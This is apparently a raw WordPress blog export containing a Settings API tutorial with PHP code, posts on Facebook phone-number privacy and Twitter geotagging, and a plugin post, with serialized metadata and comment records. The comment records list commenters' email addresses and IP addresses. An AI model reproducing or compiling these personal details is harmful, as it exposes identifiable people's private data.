now, this has been more or less the same as previous tutorials. Adding the options pages is really quite easy. But now, we're going to use two new functions. First, we call settings_fields('plugin_options'). This outputs the hidden bits that we need to make our options page both do what we want and to make it secure with a nonce. The string "plugin-options" can be anything, as long as it's unique. There is another call we're going to have to make with this same string later. Next, we call do_settings_sections('plugin'). This is going to output all of our input fields. Text input boxes, radio fields, anything we like. Obviously though, we have to tell it what those fields are and look like somewhere. We do both of these things in the next section.

    Defining the settings

    [php] <?php // add the admin settings and such add_action('admin_init', 'plugin_admin_init'); function plugin_admin_init(){ register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' ); add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin'); add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main'); }?> [/php] Here we've done three things. Let's break that down, shall we? [php] <?php register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );?> [/php] First, we register the settings. In my case, I'm going to store all my settings in one options field, as an array. This is usually the recommended way. The first argument is a group, which needs to be the same as what you used in the settings_fields function call. The second argument is the name of the options. If we were doing more than one, we'd have to call this over and over for each separate setting. The final arguement is a function name that will validate your options. Basically perform checking on them, to make sure they make sense. Ignoring the validation function for a moment, lets move on to the setting section. This one is actually quite simple. [php] <?php add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin'); ?> [/php] This creates a "section" of settings. The first argument is simply a unique id for the section. The second argument is the title or name of the section (to be output on the page). The third is a function callback to display the guts of the section itself. The fourth is a page name. This needs to match the text we gave to the do_settings_sections function call. That function callback in the third argument should look a bit like this: [php] <?php function plugin_section_text() { echo '<p>Main description of this section here.</p>'; } ?> [/php] Simple, really. You can put any HTML you like here. Now that we've talked about the section itself, we need to talk about the fields in that section. [php] <?php add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main'); ?> [/php] The first argument is simply a unique id for the field. The second is a title for the field. The third is a function callback, to display the input box. The fourth is the page name that this is attached to (same as the do_settings_sections function call). The fifth is the id of the settings section that this goes into (same as the first argument to add_settings_section). The only difficult one here is, again, the callback. Let's look at that, shall we? [php] <?php function plugin_setting_string() { $options = get_option('plugin_options'); echo "<input id='plugin_text_string' name='plugin_options[text_string]' size='40' type='text' value='{$options['text_string']}' />"; } ?> [/php] Simple. It just gets the options then outputs the input HTML for it. Note the "name" is set to plugin_options[text_string]. This is not coincidence, the name *must* start with plugin_options in our case. Why? Because that is the second argument we passed to register_settings. The settings pages use a whitelist system. Only valid options get read. Anything else gets tossed out, for security. Here, we're using a php trick. PHP interprets an incoming GET or POST data of name[thing] as being an array called name with 'thing' as one of the elements in it. So, all our options are going to take the form of plugin_options[some_thing], so that we get that single array back, and the array name itself is whitelisted. Since this is designed with security in mind, we have one last callback to deal with: The validation callback that we skipped earlier: [php] <?php // validate our options function plugin_options_validate($input) { $newinput['text_string'] = trim($input['text_string']); if(!preg_match('/^[a-z0-9]{32}$/i', $newinput['text_string'])) { $newinput['text_string'] = ''; } return $newinput; } ?> [/php] Here I'm taking a liberty with the code. I'm going to say that our text_string has to be exactly 32 alphanumerics long. You can actually validate any way you want in here. The point of this function is simply to let you check all the incoming options and make sure they are valid in some way. Invalid options need to be fixed or blanked out. Finally, you return the whole input array again, which will get automatically saved to the database. Take special note of the fact that I don't return the original array. One of the drawbacks of this sort of approach is that somebody could, in theory, send bad options back to the plugin. These would then be in the $input array. So by validating my options and *only* my options, then any extra data they send back which might make it here gets blocked. So the validation function not only makes sure that my options have valid values, but that no other options get through. In short, $input is untrusted data, but the returned $newinput should be trusted data.

    And we're done. Wait, what?

    Yes, the whole point of this exercise is that the options are automatically saved for you. And everything else. You have an options page, you have fields on it, you are validating them... and that's it. The actual *display* of the page is even done for you. Remember the input we made? It'll get put into a table with the title on the left side before it, waiting for input. Another nice thing is that this is easily expandable. For each option to add we: 1. Do a new add_settings_field call. 2. Make the function to display that particular input. 3. Add code to validate it when it comes back to us from the user. To add a new section, you: 1. Do a new add_settings_section call. 2. Make the function to display any descriptive text about it. 3. Add settings fields to it as above.

    One last thing

    Sometimes we don't need a whole page. Sometimes we only have one setting, and it would work well on some existing page. Maybe on the general page, or the discussion page. Well, we can add settings to those too! If you look through the core code, you'll find references like do_settings_sections('general') or do_settings_sections('writing'), and so on. These you can add on to like any others, getting your settings on the main WordPress settings pages instead of having to make your own. Just do this: 1. Make an add_settings_section call. The last argument should be "general", or wherever you want to add your new section. 2. Add fields to your new section, using add_settings_field. 3. You still need to make your own settings whitelisted. To do this, you'll need to make a call to register_setting. The first argument should be the same as the page name, like 'general', or wherever you're putting your settings. This will let that page recognize and allow your settings to come through. All the callbacks will basically be the same for this method. You're just skipping a step of making your own page. Easy. And there you go. More reading: http://codex.wordpress.org/Settings_API]]>
    583 2009-11-03 16:49:55 2009-11-03 22:49:55 closed closed wordpress-settings-api-tutorial publish 0 0 post 0 aktt_notify_twitter no _aktt_hash_meta _edit_lock 1269443792 _edit_last 1 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} btc_twitter 6966 btc_post a:6:{s:2:"ID";s:3:"583";s:13:"post_date_gmt";s:19:"2009-11-03 22:49:55";s:23:"initial_import_date_gmt";s:19:"2009-11-03 22:50:16";s:20:"last_import_date_gmt";s:19:"2009-11-23 22:36:29";s:4:"hits";s:1:"1";s:6:"misses";s:3:"135";} _syntaxhighlighter_encoded 1 _fb_post_id_profile 531132304_5003364885385 _revision-control 0 6965 danny.luckykind@gmail.com 173.72.152.174 2009-11-05 17:35:29 2009-11-05 23:35:29 1 0 0 6966 http://twitter.com/LuckyKind 2009-11-05 17:40:22 2009-11-05 23:40:22 Nice example tut for working with the Wordpress Settings API -> http://bit.ly/faJ06 #wordpress #designn #webdesign

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    6970 100000489092045@facebook.com http://www.facebook.com/profile.php?id=100000489092045 70.180.134.178 2009-11-06 11:14:24 2009-11-06 17:14:24 1 0 0 6998 718653202@facebook.com http://www.facebook.com/profile.php?id=718653202 77.96.160.210 2009-11-14 09:44:08 2009-11-14 15:44:08 1 0 0 7023 http://www.technixa.com/22/11/2009/making-an-options-page-for-wordpress-plugin/ 67.205.2.183 2009-11-22 18:54:43 2009-11-23 00:54:43 1 pingback 0 0 7030 http://1080d.com/lang/en-us/2009/11/vodpod_embedder_v2 208.82.98.89 2009-11-24 10:22:08 2009-11-24 16:22:08 1 pingback 0 0 7044 http://bitwiremedia.com/wordcast/wordcast-75-wordpress-2-9-and-beyond/ 208.109.181.38 2009-11-30 21:58:18 2009-12-01 03:58:18 1 pingback 0 0 7046 http://www.wptavern.com/forum/plugins-hacks/1074-writing-my-own-plugin.html#post9152 67.228.235.94 2009-12-02 11:57:58 2009-12-02 17:57:58 1 pingback 0 0 7078 http://www.wptavern.com/forum/general-wordpress/1085-wordpress-phone-home-10.html#post9483 67.228.235.94 2009-12-10 16:21:37 2009-12-10 22:21:37 1 pingback 0 0 7093 ade@studiograsshopper.ch http://www.studiograsshopper.ch 188.60.207.29 2009-12-15 13:19:55 2009-12-15 19:19:55 1 0 0 7098 jer@simianuprising.com http://jeremyclarke.org 66.51.249.159 2009-12-16 16:45:54 2009-12-16 22:45:54 <input name="Submit" type="submit" value="" /> You use: <input type="submit" name="submit" value="" /> Then they look like other pretty buttons in the admin. Either way thanks for documenting this. Some day maybe I'll convert all your info into a Codex doc (or just add phpdoc to the actual functions :S )]]> 1 0 0 7099 jer@simianuprising.com http://jeremyclarke.org 66.51.249.159 2009-12-16 16:52:23 2009-12-16 22:52:23 1 0 0 7104 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-12-17 08:43:47 2009-12-17 14:43:47 1 7099 1 7190 thuijssoon@googlemail.com 195.241.97.19 2009-12-31 05:30:23 2009-12-31 11:30:23 1 0 0 7236 http://wordcast.bitwiremedia.com/2009/11/17/wordcast-75-wordpress-2-9-and-beyond/ 72.47.224.22 2010-01-11 01:58:51 2010-01-11 07:58:51 1 pingback 0 0 7465 jani@mummila.net http://mummila.net/ 81.17.198.101 2010-02-05 02:20:25 2010-02-05 08:20:25 1 0 0 7467 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-02-05 08:40:04 2010-02-05 14:40:04 SFC plugin. The base sfc.php file implements this, and you might see what you're missing. Note that it doesn't use any "update_option" calls anywhere.]]> 1 7465 1 7468 jani@mummila.net http://mummila.net/ 82.103.237.101 2010-02-05 08:50:54 2010-02-05 14:50:54 1 7467 0 7575 http://www.wptavern.com/forum/plugins-hacks/1210-my-plugin-removed-wordpress-org-extend-directory-9.html#post12473 67.228.235.94 2010-02-11 12:00:34 2010-02-11 18:00:34 1 pingback 0 0 7832 http://ottopress.com/2010/03/wordpress-settings-api-tutorial/ 64.202.163.10 2010-03-04 16:26:07 2010-03-04 22:26:07 1 pingback 0 0 7839 steve_atty@yahoo.co.uk http://blogs.canalplan.org.uk/steve 212.159.61.36 2010-03-05 08:41:51 2010-03-05 14:41:51 1 7190 0 7840 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-05 08:50:54 2010-03-05 14:50:54 1 7839 1 7850 newmediapages@gmail.com 24.147.40.152 2010-03-07 09:27:18 2010-03-07 15:27:18 1 0 0
    Facebook Privacy Screen http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/fb1/ Tue, 17 Nov 2009 16:02:23 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb1.png 604 2009-11-17 10:02:23 2009-11-17 16:02:23 open open fb1 inherit 603 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb1.png _wp_attached_file 2009/11/fb1.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"631";s:6:"height";s:3:"421";s:14:"hwstring_small";s:23:"height='85' width='128'";s:4:"file";s:15:"2009/11/fb1.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:15:"fb1-150x100.png";s:5:"width";s:3:"150";s:6:"height";s:3:"100";}s:6:"medium";a:3:{s:4:"file";s:15:"fb1-300x200.png";s:5:"width";s:3:"300";s:6:"height";s:3:"200";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Facebook Privacy Screen btc_comment_counts a:0:{} Facebook Contact Info Page http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/fb3/ Tue, 17 Nov 2009 16:08:01 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb3.png 605 2009-11-17 10:08:01 2009-11-17 16:08:01 open open fb3 inherit 603 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb3.png _wp_attached_file 2009/11/fb3.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"775";s:6:"height";s:3:"479";s:14:"hwstring_small";s:23:"height='79' width='128'";s:4:"file";s:15:"2009/11/fb3.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:14:"fb3-150x92.png";s:5:"width";s:3:"150";s:6:"height";s:2:"92";}s:6:"medium";a:3:{s:4:"file";s:15:"fb3-300x185.png";s:5:"width";s:3:"300";s:6:"height";s:3:"185";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Facebook Contact Info Page btc_comment_counts a:0:{} Facebook Phonebook http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/fb2/ Tue, 17 Nov 2009 16:09:57 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb2.png 606 2009-11-17 10:09:57 2009-11-17 16:09:57 open open fb2 inherit 603 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/11/fb2.png _wp_attached_file 2009/11/fb2.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"773";s:6:"height";s:3:"397";s:14:"hwstring_small";s:23:"height='65' width='128'";s:4:"file";s:15:"2009/11/fb2.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:14:"fb2-150x77.png";s:5:"width";s:3:"150";s:6:"height";s:2:"77";}s:6:"medium";a:3:{s:4:"file";s:15:"fb2-300x154.png";s:5:"width";s:3:"300";s:6:"height";s:3:"154";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Facebook Phonebook btc_comment_counts a:0:{} Why I won't give you my phone number on Facebook http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/ Tue, 17 Nov 2009 16:14:01 +0000 http://ottodestruct.com/blog/?p=603 detailing how they tricked a bunch of people into giving up their phone number openly. People, this is unnecessary. Why are you falling for this kind of nonsense? If you lose your phone, here's how to get those numbers back. More to the point, here's how you can get your number to your friends *without* having them ask for it and without it being public knowledge.

    Step 1: Set the privacy settings up properly

    First, go to the Settings dropdown menu and select Privacy Settings. Then select your Profile, and then click the Contact Information tab. You'll be here: Facebook Privacy Screen All you have to do is select which people you want to be able to see your phone number. I expect you'll want "Only Friends" to see them. The "Limited Profile" thing is normally excluded from these as well.

    Step 2:  Put in your own phone number

    This one is easy. Go to your profile page. Click the Info tab. Click to edit the information. Under your contact info, put in the phone number. Hey, you just set it up so only your Friends can see it, so those are the people you'd want to have it. If you're friends with somebody you *don't* want to have it, put that friend into the Limited Profile so they can't see it. Although frankly, in that case, I'd reconsider your "friendship". Facebook Contact Info Page

     

    Simple enough.

    Step 3: Use the phonebook when you need numbers

    Click the Friends dropdown at the top, and select "All Friends". On the left hand side of the page is the "Phonebook". Click it. Facebook Phonebook See how easy that is? So seriously, stop falling for these scams, people. Use the phonebook. Use the privacy settings. Facebook is perfectly secure, it's *people* that are idiots and who willingly give out personal information. Take the time to go through your Privacy Settings and make stuff private properly. It'll save you a lot of effort and annoyance in the long run. While you're at it, do yourself a favor and put your Friends into groups, like Work, Family, Drinking Buddies, etc. Then when you setup your privacy settings, you can exclude specific groups of people from seeing specific types of things. Might save your job, you know?

     

    ]]>
    603 2009-11-17 10:14:01 2009-11-17 16:14:01 open open facebook-phonebook-is-awesome publish 0 0 post 0 _edit_lock 1261415557 _aktt_hash_meta _edit_last 1 aktt_notify_twitter yes btc_post a:6:{s:2:"ID";s:3:"603";s:13:"post_date_gmt";s:19:"2009-11-17 16:14:01";s:23:"initial_import_date_gmt";s:19:"2009-11-17 16:15:47";s:20:"last_import_date_gmt";s:19:"2009-12-07 14:30:32";s:4:"hits";s:1:"2";s:6:"misses";s:3:"222";} aktt_tweeted 1 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"1";}} btc_twitter 7007 _wp_old_slug facebook-phonebook-is-awesom _thumbnail_id 611 btc_twitter 7009 7007 http://twitter.com/ottodestruct 2009-11-17 10:14:03 2009-11-17 16:14:03 New post: Why I won’t give you my phone number on Facebook http://bit.ly/3FI5ee

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7009 http://twitter.com/proactivedefend 2009-11-17 17:36:43 2009-11-17 23:36:43 News Update: Why I won’t give you my phone number on Facebook http://ow.ly/162q4a

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    7010 mshaunwalker@aol.com http://www.memphismikes.blogspot.com/ 68.10.225.28 2009-11-17 18:24:38 2009-11-18 00:24:38 1 0 0 7021 novaksim@gmail.com http://izdelava-spletnih-strani-1a.blogspot.com/ 213.229.210.146 2009-11-21 14:48:08 2009-11-21 20:48:08 1 0 0 7043 jakerocheleau@gmail.com http://www.destinyislands.com/ 71.184.116.9 2009-11-30 18:54:47 2009-12-01 00:54:47 1 0 0 7110 afreeircclient@yahoo.com http://davistobias.com 76.85.171.148 2009-12-18 01:19:32 2009-12-18 07:19:32 1 0 0 7736 4overfour@gmail.com http://www.4over4.com 168.234.227.10 2010-02-25 09:42:56 2010-02-25 15:42:56 1 0 0 7874 i.givesuccess@gmail.com http://anewtattoo.com 72.78.237.121 2010-03-21 03:04:35 2010-03-21 08:04:35 1 0 0
    Facebook Logo http://ottodestruct.com/blog/2009/facebook-phonebook-is-awesome/facebook_logo2/ Tue, 17 Nov 2009 21:06:02 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/11/facebook_logo2.png 611 2009-11-17 15:06:02 2009-11-17 21:06:02 open open facebook_logo2 inherit 603 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/11/facebook_logo2.png _wp_attached_file 2009/11/facebook_logo2.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"360";s:6:"height";s:3:"360";s:14:"hwstring_small";s:22:"height='96' width='96'";s:4:"file";s:26:"2009/11/facebook_logo2.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:26:"facebook_logo2-150x150.png";s:5:"width";s:3:"150";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:26:"facebook_logo2-300x300.png";s:5:"width";s:3:"300";s:6:"height";s:3:"300";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Facebook Logo btc_comment_counts a:0:{} tweetie5 http://ottodestruct.com/blog/2009/twitter-geolocation/tweetie5/ Mon, 21 Dec 2009 19:52:41 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie5.jpg 619 2009-12-21 13:52:40 2009-12-21 19:52:41 open open tweetie5 inherit 618 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie5.jpg _wp_attached_file 2009/12/tweetie5.jpg _wp_attachment_metadata a:6:{s:5:"width";s:3:"495";s:6:"height";s:3:"198";s:14:"hwstring_small";s:23:"height='51' width='128'";s:4:"file";s:20:"2009/12/tweetie5.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"tweetie5-150x60.jpg";s:5:"width";s:3:"150";s:6:"height";s:2:"60";}s:6:"medium";a:3:{s:4:"file";s:20:"tweetie5-300x120.jpg";s:5:"width";s:3:"300";s:6:"height";s:3:"120";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_summary a:0:{} btc_comment_counts a:0:{} Tweetie1 http://ottodestruct.com/blog/2009/twitter-geolocation/tweetie1/ Mon, 21 Dec 2009 19:52:52 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie1.jpg 620 2009-12-21 13:52:52 2009-12-21 19:52:52 open open tweetie1 inherit 618 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie1.jpg _wp_attached_file 2009/12/tweetie1.jpg _wp_attachment_metadata a:6:{s:5:"width";s:3:"320";s:6:"height";s:3:"480";s:14:"hwstring_small";s:22:"height='96' width='64'";s:4:"file";s:20:"2009/12/tweetie1.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"tweetie1-100x150.jpg";s:5:"width";s:3:"100";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:20:"tweetie1-300x450.jpg";s:5:"width";s:3:"300";s:6:"height";s:3:"450";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} tweetie2 http://ottodestruct.com/blog/2009/twitter-geolocation/tweetie2/ Mon, 21 Dec 2009 19:53:08 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie2.jpg 621 2009-12-21 13:53:08 2009-12-21 19:53:08 open open tweetie2 inherit 618 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie2.jpg _wp_attached_file 2009/12/tweetie2.jpg _wp_attachment_metadata a:6:{s:5:"width";s:3:"320";s:6:"height";s:3:"480";s:14:"hwstring_small";s:22:"height='96' width='64'";s:4:"file";s:20:"2009/12/tweetie2.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"tweetie2-100x150.jpg";s:5:"width";s:3:"100";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:20:"tweetie2-300x450.jpg";s:5:"width";s:3:"300";s:6:"height";s:3:"450";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} tweetie3 http://ottodestruct.com/blog/2009/twitter-geolocation/tweetie3/ Mon, 21 Dec 2009 19:53:18 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie3.jpg 622 2009-12-21 13:53:18 2009-12-21 19:53:18 open open tweetie3 inherit 618 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie3.jpg _wp_attached_file 2009/12/tweetie3.jpg _wp_attachment_metadata a:6:{s:5:"width";s:3:"320";s:6:"height";s:3:"480";s:14:"hwstring_small";s:22:"height='96' width='64'";s:4:"file";s:20:"2009/12/tweetie3.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"tweetie3-100x150.jpg";s:5:"width";s:3:"100";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:20:"tweetie3-300x450.jpg";s:5:"width";s:3:"300";s:6:"height";s:3:"450";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} tweetie4 http://ottodestruct.com/blog/2009/twitter-geolocation/tweetie4/ Mon, 21 Dec 2009 19:53:33 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie4.jpg 623 2009-12-21 13:53:33 2009-12-21 19:53:33 open open tweetie4 inherit 618 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/12/tweetie4.jpg _wp_attached_file 2009/12/tweetie4.jpg _wp_attachment_metadata a:6:{s:5:"width";s:3:"320";s:6:"height";s:3:"480";s:14:"hwstring_small";s:22:"height='96' width='64'";s:4:"file";s:20:"2009/12/tweetie4.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"tweetie4-100x150.jpg";s:5:"width";s:3:"100";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:20:"tweetie4-300x450.jpg";s:5:"width";s:3:"300";s:6:"height";s:3:"450";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Twitter Geolocation http://ottodestruct.com/blog/2009/twitter-geolocation/ Mon, 21 Dec 2009 20:08:03 +0000 http://ottodestruct.com/blog/?p=618 How to add your location to your tweets 1. Turn on Geotagging. To do this, go to your Twitter settings page. Down under the "Location" section is an option to enable geotagging. Turn it on. [caption id="attachment_619" align="alignnone" width="495" caption="Twitter Settings"][/caption] 2. Get a Twitter client that supports Geotagging. These are generally mobile applications. Tweetie 2 for the iPhone added support for it in 2.1. Several other clients support it as well. Find one. 3. Turn it on in your client. How you do this depends on the client, but it can usually be enabled on a per-tweet basis. Here's an example of how it works and looks in Tweetie 2 for the iPhone.
    [caption id="attachment_620" align="alignnone" width="100" caption="First, you type in a new tweet, and pull open the drop down."][/caption] [caption id="attachment_621" align="alignnone" width="100" caption="Next, you enable the geotag feature, and you'll see a little red pin appear."][/caption] [caption id="attachment_622" align="alignnone" width="100" caption="You'll see little maps on tweets with locations attached to them."][/caption] [caption id="attachment_623" align="alignnone" width="100" caption="Click on the map icon for greater detail."][/caption]
    You can do more with your Twitter location too. For example, this website will read your twitter feed and get your latest location, then send it over to Fire Eagle, which is Yahoo's location service. Fire Eagle can do all sorts of things, but basically it's just a service that stores your location for other programs to use. So if you want to display your location on your blog, or on Facebook for your friends to see, or anything else you can think of, you can do that, using nothing more than your already existing tweets.]]>
    618 2009-12-21 14:08:03 2009-12-21 20:08:03 open open twitter-geolocation publish 0 0 post 0 _aktt_hash_meta aktt_notify_twitter no _edit_lock 1261430487 _edit_last 1 btc_post a:6:{s:2:"ID";s:3:"618";s:13:"post_date_gmt";s:19:"2009-12-21 20:08:03";s:23:"initial_import_date_gmt";s:19:"2009-12-21 20:10:23";s:20:"last_import_date_gmt";s:19:"2010-01-10 18:10:49";s:4:"hits";s:1:"1";s:6:"misses";s:3:"255";} btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} btc_twitter 7142 7142 http://twitter.com/ottodestruct 2009-12-21 14:08:38 2009-12-21 20:08:38 Twitter Geolocation http://goo.gl/fb/N2Ky

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    SFC Chicklet http://ottodestruct.com/blog/2009/sfc-chicklet/ Tue, 22 Dec 2009 17:13:56 +0000 http://ottodestruct.com/blog/?p=633 Jesse Stay had created a rather neat little chicklet for his FBFoundations plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well. Of course, just copying an idea is no fun. So I had to improve upon it a bit for my version. :) I ended up not using any of Jesse's code, but I did (mostly) keep the format of his chicklet output the same, so as to try to be compatible with it for styling rules and such.

    Usage

    The SFC Chicklet works in one of a few ways:
    • First, it's a widget if you just want to stick it in a sidebar or something. That's easy.
    • On the other hand, if you want to integrate it into your theme, then all you have to do is to add a call to sfc_chicklet(); anywhere you like.

    Configuration (Styling)

    Now, unlike Jesse's FBFoundations plugin, Simple Facebook Connect is all about simplicity. So I removed all the configuration options that he used (widths, colors, etc) and made them styleable instead. The SFC Chicklet has a default set of styles that it puts right into the HTML itself. However, these can be easily overridden by your own styles in your theme. The thing to notice is that all the styles I use refer to classes only, not referencing the tags. So, if you re-style and use the tags as well, then your styles win the specificity war, and will take precedence. Thus, if you want to change the background color of the main box, you can do this: div.fanBoxChicklet { background-color:blue; } Simple. The "div" makes it take precedence. Anybody familiar with simple CSS should be able to easily style it the way they like. On the other hand, if you're a super-themer and want to disable the built-in styles entirely, add this to your theme's functions.php file: global $sfc_chicklet_no_style; $sfc_chicklet_no_style = true;

    Extra

    And, of course, this new plugin supports both the Application and the Fan Page methods, for those of you who have your webpage hooked to a Fan Page. This is similar to the new support for Fan Pages in the SFC Publish and SFC Fan Box plugins. If you're a real power user, you might want to display a chicklet for more than one page or application. Well, we've got you covered, just call sfc_chicklet("ID-NUMBER"), where ID-NUMBER is the ID of your application or page. Remember, this needs to be a string, not an integer.

    Internals

